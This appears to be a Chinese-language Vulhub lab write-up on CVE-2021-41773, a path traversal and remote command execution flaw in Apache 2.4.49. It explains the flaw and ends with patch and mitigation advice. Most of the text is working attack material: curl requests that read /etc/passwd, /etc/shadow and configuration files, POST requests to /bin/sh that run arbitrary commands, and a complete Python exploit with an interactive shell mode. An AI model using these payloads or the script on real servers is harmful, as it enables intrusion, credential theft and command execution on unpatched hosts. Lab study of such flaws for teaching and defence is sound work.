漏洞信息
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2021-41773 |
| 漏洞类型 | 路径穿越 (Path Traversal) → 任意文件读取 / 远程命令执行 (RCE) |
| 影响组件 | Apache HTTP Server |
| 影响版本 | 2.4.49 仅此版本(2.4.48 及之前不受此版本特有的路径穿越影响,2.4.50 修复) |
| 靶场版本 | Apache HTTP Server 2.4.49 (Unix) + mod_cgi / mod_cgid 已启用 |
| 靶机地址 | http://192.168.229.60:8080/ |
| Vulhub 路径 | /vulhub/vulhub/httpd/CVE-2021-41773/ |
| 利用条件 | 配置文件必须包含 <Directory />Require all granted</Directory>(本靶场已配置) |
漏洞原理
背景
Apache HTTP Server 2.4.49 版本在路径规范化(URL path normalization)处理逻辑中存在缺陷。当 URL 路径中包含 .%2e(即 URL 编码的 ../ 组合)时,Apache 的路径解析函数未能正确规范化,导致可以绕过目录限制,访问 Web 根目录以外的文件。
漏洞成因
正常请求:
GET /icons/README HTTP/1.1
→ Apache 规范化路径:/usr/local/apache2/htdocs/icons/README ✅
路径穿越请求:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
→ Apache 未能正确解码并规范化 .%2e (即..)
→ 实际访问:/etc/passwd ❌
访问路径分析
┌──────────────────────────────────────────────────┐
│ /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ../ ../ ../ │
│ └──────┬──────┘ │ │
│ ▼ │ │
│ /icons/向上穿越一次 │ │
│ │ │ │
│ 连续4次穿越 │ │
│ │ │ │
│ 路径: /icons → / → / → / → / → /etc/passwd │
└──────────────────────────────────────────────────┘
RCE 原理
当 Apache 同时启用了 mod_cgi 或 mod_cgid 时,路径穿越可以访问到 /cgi-bin/ 目录之外的 CGI 脚本。通过穿越到 /bin/sh 并传入 POST 数据,可以实现任意命令执行:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo;id
-
/cgi-bin/是 Apache 默认配置的 CGI 脚本目录 -
路径穿越到
/bin/sh(系统 shell) -
echo;确保输出不会干扰标准输出 -
后续命令以 daemon 用户权限执行
攻击步骤
Step 1:确认靶机版本
GET / HTTP/1.1
Host: 192.168.229.60:8080
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)
Content-Type: text/html
<html><body><h1>It works!</h1></body></html>
确认 Apache 版本为 2.4.49,存在漏洞。
Step 2:路径穿越读取任意文件
利用 .%2e 绕过路径检查,读取服务器上的任意文件:
# 读取 /etc/passwd
curl -v --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
关键参数说明:
-
--path-as-is--- 告诉 curl 不要自动规范化 URL 中的路径(必须使用!) -
/icons/--- Apache 默认存在的可访问目录 -
.%2e--- URL 编码后的.(点),与后面的%2e组合解码后为..(上级目录)
更多文件读取示例:
# 读取 Apache 配置文件
curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/conf/httpd.conf'
# 读取 Web 目录下的脚本源码(保护源码不被直接访问)
curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/htdocs/index.html'
# 读取系统敏感文件
curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow'
curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts'
Step 3:CGI 模式远程命令执行(RCE)
当服务器启用了 mod_cgi 或 mod_cgid(本靶场已开启),路径穿越可访问到系统 shell:
curl -v --data "echo;id" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
命令以 daemon 用户身份执行。通过更换 POST body 可以执行任意命令:
curl --data "echo;ls -la /" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
curl --data "echo;cat /etc/passwd" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
curl --data "echo;whoami" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

Python 版完整利用脚本
#!/usr/bin/env python3
"""
CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal & RCE Exploit
Author: Vulhub Lab
"""
import requests
import sys
import urllib.parse
class CVE_2021_41773:
def __init__(self, target, port=80):
self.base_url = f"http://{target}:{port}"
self.session = requests.Session()
def read_file(self, filepath, directory="/icons"):
"""
路径穿越读取任意文件
Args:
filepath: 目标文件路径,如 "/etc/passwd"
directory: 起始目录,默认 /icons
Returns:
文件内容字符串,失败返回 None
"""
# 构建穿越路径: 从 /icons 需要穿越到根然后再到目标
traversal = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
url = f"{self.base_url}{directory}{traversal}{filepath}"
print(f"[*] Reading: {filepath}")
print(f"[*] URL: {url}")
try:
# --path-as-is 对应 Python 中不自动规范化路径
r = self.session.get(url, timeout=10)
if r.status_code == 200 and len(r.text) > 0:
print(f"[+] Success! ({len(r.text)} bytes)")
return r.text
else:
print(f"[-] Failed: HTTP {r.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
def exec_command(self, command):
"""
通过 CGI 路径穿越执行系统命令 (RCE)
Args:
command: 要执行的命令,如 "id", "ls -la /"
Returns:
命令输出字符串,失败返回 None
"""
url = f"{self.base_url}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
payload = f"echo;{command}"
print(f"[*] Executing: {command}")
print(f"[*] POST to: {url}")
try:
r = self.session.post(url, data=payload, timeout=10)
if r.status_code == 200 and len(r.text) > 0:
print(f"[+] Success! ({len(r.text)} bytes)")
return r.text
else:
print(f"[-] Failed: HTTP {r.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
def interactive_shell(self):
"""交互式命令执行"""
print("[*] CVE-2021-41773 RCE Interactive Shell (type 'exit' to quit)")
print("[*] Commands run as 'daemon' user")
print()
while True:
try:
cmd = input("$ ").strip()
if cmd.lower() in ('exit', 'quit'):
break
if not cmd:
continue
output = self.exec_command(cmd)
if output:
print(output)
except KeyboardInterrupt:
print("\n[*] Exiting...")
break
except Exception as e:
print(f"[-] Error: {e}")
def banner():
print("=" * 55)
print(" CVE-2021-41773 - Apache 2.4.49 Path Traversal / RCE")
print("=" * 55)
print()
def main():
banner()
if len(sys.argv) < 3:
print("Usage:")
print(" python3 cve-2021-41773.py <target> <port> read <filepath>")
print(" python3 cve-2021-41773.py <target> <port> exec <command>")
print(" python3 cve-2021-41773.py <target> <port> shell")
print()
print("Examples:")
print(" python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd")
print(" python3 cve-2021-41773.py 192.168.229.60 8080 exec 'id'")
print(" python3 cve-2021-41773.py 192.168.229.60 8080 shell")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
action = sys.argv[3]
exploit = CVE_2021_41773(target, port)
if action == "read" and len(sys.argv) >= 5:
filepath = sys.argv[4]
content = exploit.read_file(filepath)
if content:
print("=" * 55)
print(content.rstrip())
print("=" * 55)
elif action == "exec" and len(sys.argv) >= 5:
command = ' '.join(sys.argv[4:])
output = exploit.exec_command(command)
if output:
print("=" * 55)
print(output.rstrip())
print("=" * 55)
elif action == "shell":
exploit.interactive_shell()
else:
print("[-] Invalid action or missing arguments")
if __name__ == "__main__":
main()
使用示例
# 读取文件
python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd
# 执行命令
python3 cve-2021-41773.py 192.168.229.60 8080 exec 'id'
# 交互式 Shell
python3 cve-2021-41773.py 192.168.229.60 8080 shell
关键要点总结
| ✅/⚠️ | 要点 |
|---|---|
| ✅ | CVE-2021-41773 仅影响 Apache HTTP Server 2.4.49 这一个版本(非常罕见的单一版本漏洞) |
| ✅ | 路径穿越 :利用 .%2e(URL 编码的 ..)绕过路径规范化 → 任意文件读取 |
| ✅ | 远程命令执行 :当 mod_cgi/mod_cgid 开启时,可通过 /cgi-bin/.%2e/../bin/sh 执行命令 |
| ✅ | --path-as-is 是 curl 利用的关键参数,否则 curl 会自动规范化路径导致攻击失败 |
| ✅ | RCE 以 daemon 用户权限执行(非 root),但已足够造成严重破坏 |
| ⚠️ | 修复方案:升级到 Apache 2.4.50 或更高版本 |
| ⚠️ | 临时缓解:在配置中移除 <Directory />Require all granted</Directory> |
| ⚠️ | 如果业务无法升级,可在 WAF/Nginx 反向代理层拦截包含 %2e 或 .. 的请求路径 |
| ⚠️ | 该漏洞在 2021 年 10 月被公开后 48 小时内即出现大量在野利用,属于紧急修补类漏洞 |